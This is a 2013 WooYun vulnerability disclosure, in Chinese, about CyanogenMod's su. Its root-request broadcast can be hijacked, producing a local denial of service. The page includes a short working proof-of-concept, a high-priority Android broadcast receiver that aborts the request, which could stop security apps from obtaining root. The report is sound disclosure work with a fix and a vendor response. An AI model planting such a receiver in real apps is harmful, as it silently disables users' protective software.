当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019422

漏洞标题:su提权广播劫持导致拒绝服务攻击

相关厂商:CyanogenMod

漏洞作者: milkee

提交时间:2013-03-03 15:02

修复时间:2013-04-17 15:02

公开时间:2013-04-17 15:02

漏洞类型:拒绝服务

危害等级:低

自评Rank:3

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-03: 细节已通知厂商并且等待厂商处理中
2013-03-07: 厂商已经确认,细节仅向厂商公开
2013-03-10: 细节向第三方安全合作伙伴开放
2013-05-01: 细节向核心白帽子及相关领域专家公开
2013-05-11: 细节向普通白帽子公开
2013-05-21: 细节向实习白帽子公开
2013-04-17: 细节向公众公开

简要描述:

CyanogenMod 10.x使用的su的提权请求可以被劫持,导致正常的提权请求无法被响应,app提权失败。虽然写的厂商是CyanogenMod,但是这个版本的su还可能被许多其他ROM使用。

详细说明:

开源的代码,分析起来很方便哈。
1. su直接使用am命令发送提权请求广播给superuser(root授权管理软件),代码见
https://github.com/CyanogenMod/android_system_su/blob/ics/activity.c

sprintf(command, "(/system/bin/am broadcast -a '%s' --es socket '%s' --ei caller_uid '%d' --ei allow '%d' --ei version_code '%d' %s) > /dev/null",
action, socket_path, ctx->from.uid, allow, VERSION_CODE,
strcmp(action, ACTION_RESULT) ? "" : "&");


这个广播并没有对接收者身份进行验证,而且am发送的是有序广播,因此可以注册一个高优先级的接收器接收并终止广播。
注册广播接收器FakeSuRequestReceiver

<receiver android:name=".FakeSuRequestReceiver" >
<intent-filter android:priority="10000">
<action android:name="com.noshufou.android.su.REQUEST" />
</intent-filter>
</receiver>


接收并终止广播

public class FakeSuRequestReceiver extends BroadcastReceiver {
public void onReceive(Context arg0, Intent arg1) {
// Superuser will not received the su request broadcast
// if we abort it here
abortBroadcast();
}
}


2. superuser接收不到提权请求,app的root提权申请失败。比如LBE的主动防御需要root权限,提权失败后主动防御无法启动,恶意软件的行为无法被发现。

漏洞证明:

广播劫持并不是新问题,su和superuser的都是开源的,分析起来也不难,有兴趣的可以自己看下源码,也很容易重现。

1.png

修复方案:

对广播增加权限保护

版权声明:转载请注明来源 milkee@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-03-07 22:40

厂商回复:

CNVD确认并复现所述情况,并在6日已联系上软件生产厂商,软件厂商回应迅速,已经提供了修复措施(见回复)。
按本地攻击进行评分,基本危害评分5.12(中危),发现技术难度系数1.3,涉及行业或单位影响系数1.4,综合rank=5.12*1.3*1.4=9.318
wooyun上的web漏洞已经比较多,这样的应用软件漏洞还是值得鼓励。

最新状态:

暂无